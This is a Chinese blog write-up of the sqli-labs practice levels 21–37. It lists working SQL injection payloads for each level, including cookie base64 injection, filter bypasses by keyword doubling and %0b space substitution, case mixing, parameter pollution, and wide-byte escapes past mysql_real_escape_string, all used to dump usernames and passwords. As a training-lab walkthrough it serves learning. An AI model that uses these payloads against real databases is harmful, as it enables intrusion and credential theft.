Lluna's Pure land.

What is life like when singing to wine?

0%

Sqli_labs_Page2(advance)

Sqli_labs_Page2(advance)

skip:基础篇环境为windows,但在提高篇有些关卡会出现解析错误,本篇使用docker搭建的Linux环境

0x01.Less-21 Cookie注入 base64编码 单引号加括号

demo payload

1
2
admin') order by 4 -- -
YWRtaW4nKSBvcmRlciBieSA0IC0tIC0=

爆库

1
2
0') union select 1,2,database() -- -
MCcpIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSAtLSAt

其他方式不在赘述

0x02.Less-22 Cookie注入 base64编码 双引号

同Less-21,将闭合字符换为双引号即可

0x03.Less-23 基于报错 过滤注释

此题过滤了--和#,测试发现闭合字符为单引号

1
?id=1' or '1' = '1

既然过滤了注释符那么就可以使用二次注入结合%00进行截断

1
?id=1' order by 4;%00

爆库

1
?id=0' union select 1,database(),user();%00

其他方法不在赘述

也可使用以下方法

1
?id=0' union select 1,2,database() '

爆表,以下两个payload均可以

1
2
3
?id=0' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3 '

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '

爆列名

1
2
3
?id=0' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),3 '

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '

爆数据

1
2
3
4
?id=0' union select 1,(select username from users limit 0,1),3 '
?id=0' union select 1,(select password from users limit 0,1),3 '

?id=0' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

0x04.Less-24 二次注入

页面可以注册用户

思路为注册一个admin’ – -或admin’# 用户,然后再进行修改密码操作

admin' -- -登入

修改密码

退出使用admin登入

0x05.Less-25 GET 基于报错 过滤and与or 单引号

过滤了and与or可以使用双写、大小写混合、内联注释、url全编码进行绕过;and与or可以使用逻辑运算符(|| &&)进行代替

测试发现只能使用双写

1
?id=1' oorrder by 4 -- -

其他过程不在赘述

0x06.Less-25a GET 基于bool 过滤and与or

与Less-25相似,但没有单引号

1
2
3
4
5
?id=1 aandnd if(length(database())=8,sleep(5),1)-- -

也可以使用union联合查询

?id=0 union select 1,2,database() -- -

其他过程不在赘述

0x07.Less-26 GET 基于报错 过滤空格与字符

查看源码,发现过滤了以下字符

1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}

测试闭合字符,由于过滤了空格,所以使用%a0或%0b代替空格,这里发现单引号为闭合字符

1
2
3
4
?id=0'%0boorr%0b'1'='1
?id=0'%0boorr%0b'1'='2
?id=0'%a0oorr%a0'1'='1
?id=0'%a0oorr%a0'1'='2

测试字段数,结果为4个

1
2
?id=0'%0bunion%0bselect%0b1,2,3%0baandnd%0b'1'='1
?id=0'%0bunion%0bselect%0b1,2,3,4%0baandnd%0b'1'='1

爆库,and可以换为or

1
?id=0'%0baandnd%0bupdatexml%0b(1,concat(0x7e,(select%0bdatabase()),0x7e),3)%0baandnd '1'='1

爆表

1
?id=0'%0baandnd%0bupdatexml(1,concat(0x7e,(select%0btable_name%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=database()%0blimit%0b3,1),0x7e),1)%0baandnd'1'='1

爆列名

1
2
3
?id=0'%0baandnd%0bupdatexml(1,concat(0x7e,(select%0bcolumn_name%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema=database()%0baandnd%0btable_name='users'%0blimit%0b1,1),0x7e),1)%0baandnd'1'='1

?id=0'%0baandnd%0bupdatexml(1,concat(0x7e,(select%0bcolumn_name%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema=database()%0baandnd%0btable_name='users'%0blimit%0b2,1),0x7e),1)%0baandnd'1'='1

爆数据

1
2
3
?id=0'%0baandnd%0bupdatexml(1,concat(0x7e,(select%0busername%0bfrom%0busers%0blimit%0b0,1),0x7e),1)%0baandnd%0b'1'='1

0' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1) and '1'='1

但是这种方法只能一个一个爆,可以使用group_concat()函数

爆库

1
2
3
?id=0'%0bunion%0bselect%0b1,2,database()%0baandnd%0b'1'='1

?id=0'union%0bselect%0b1,database(),3%26%26'1'='1 // %26为&

爆表

1
?id=0'union%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26%a0'1'='1

爆列名

1
?id=0'union%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name='users'%26%26%a0'1'='1

爆数据

1
2
3
?id=0'%0bunion%0bselect%0b1,group_concat(username,0x7e,passwoorrd),3%0bfrom%0busers%0bwhere%0b%271%27=%271

// where 1=1 为无约束查询

0x08.Less-26a GET 基于bool 过滤 单引号加括号

同Less-26相同,需要在单引号后加一个括号

1
?id=0%27)%0bunion%0bselect%0b1,group_concat(username,0x7e,passwoorrd),3%0bfrom%0busers%0bwhere(%271=1

0x09.Less-27 GET 基于报错 过滤空格与字符 单引号

查看源码发现又过滤union、select

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}

这里可以使用大小写进行绕过,如uNion、sElect,方法同上

1
?id=0%27%0buNion%0bsElect%0b1,group_concat(username,0x7e,password),3%0bfrom%0busers%0bwhere%271=1

0x10.Less-27a GET 基于bool 过滤 双引号

同上需将单引号换为双引号

1
2
?id=1"%0band%0b"1"="1
?id=1"%0band%0b"1"="2

测试字段数

1
2
?id=1"%0buNion%0bsElect%0b1,2,3%0band%0b"1"="1
?id=1"%0buNion%0bsElect%0b1,2,3,4%0band%0b"1"="1

放法同上一题不在赘述

1
?id=0"%0buNion%0bsElect%0b1,group_concat(username,0x7e,password),3%0bfrom%0busers%0bwhere"1"="1

0x11.Less-28 GET 基于报错 过滤 单引号加括号

闭合字符为')其他过程同上

1
?id=0')%0buNion%0bsElect%0b1,group_concat(username,0x7e,password),3%0bfrom%0busers%0bwhere('1=1

0x12.Less-28a GET 基于bool 过滤 双引号

闭合字符为"其他过程同上

1
?id=0"%0buNion%0bsElect%0b1,group_concat(username,0x7e,password),3%0bfrom%0busers%0bwhere"1=1

0x13.Less-29 GET 基于报错 绕过WAF

说是存在waf但是常规注入就可以?一脸懵逼。。。

1
?id=0' union select 1,group_concat(username,0x7e,password),3 from users where '1=1

0x14.Less-30 GET 基于bool 绕过WAF

跟上题一样

1
?id=0" union select 1,group_concat(username,0x7e,password),3 from users where"1=1

0x15.Less-31 GET 基于bool 绕过WAF

跟上题一样

1
?id=0") union select 1,group_concat(username,0x7e,password),3 from users where("1=1

这三道题很奇怪,说是有waf但是啥也没有。绕过waf参考以下文章

参考

第一个id参数用于欺骗waf,第二个为真实查询

1
2
?id=1&id=0") -- -
?id=1&id=1") -- -

0x16.Less-32 GET 绕过转义字符\

这里写引号会被加上\进行转义

可以使用宽字节进行绕过,汉字你的url编码为%e4%bd%a0,这里提取%e4与\进行拼接,但是他并不是一个汉字,就可以绕过\

老方法,直接查询

1
?id=0%e4' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -

爆字段

1
?id=0%e4' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=users -- -

但是这里出现了个问题,说是没有users见了鬼了,上面明明查出来了呀

这里发现users被加上了单引号,如何逃脱这种束缚呢,将users转为16进制编码即可

1
?id=0%e4' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 -- -

爆数据

1
?id=0%e4' union select 1,group_concat(username,0x7e,password),3 from users -- -

0x17.Less-33 GET 绕过转义字符\

跟上一道题一毛一样,怪事

1
?id=0%e4' union select 1,group_concat(username,0x7e,password),3 from users -- -

0x18.Less-34 POST 绕过转义字符\

同上一题,只是字段有2两个

1
uname=1%e4' order by 3 -- -

其他过程同上

1
uname=0%e4' union select 1,group_concat(username,0x7e,password) from users -- -

0x19.Less-35 GET 绕过\(不需要)

这题醉了,说是绕过\,但是没有闭合字符,😂

1
?id=0 union select 1,group_concat(username,0x7e,password),3 from users -- -

0x20.Less-36 GET 绕过Mysql_real_escape_string

查看源码发现,参数会被mysql_real_escape_string转义

1
2
3
4
5
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}

定义和用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

\x00
\n
\r
\
'
"
\x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

# 语法

mysql_real_escape_string(string,connection)

| 参数 | 描述 |
| :--------- | :---------------------------------------------------- |
| string | 必需。规定要转义的字符串。 |
| connection | 可选。规定 MySQL 连接。如果未规定,则使用上一个连接。 |

# 说明

本函数将 string 中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()

测试闭合字符,结果为单引号

1
2
?id=1%e4' and 1=1 -- -
?id=1%e4' and 1=2 -- -

其他过程同上

1
?id=0%e4' union select 1,group_concat(username,0x7e,password),3 from users -- -

0x21.Less-37 POST 绕过Mysql_real_escape_string

与上一题一样

1
2
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);

按照上一题的方法,但是结果并不是我想象的那样,闭合字符怎么也找不到,于是抓包发现%会被编码为%25

所以可以将%25换为%

其他过程同上

1
uname=admin%e4%27 union select 1,group_concat(username,0x7e,password) from users -- -
-------------纸短情长下次再见-------------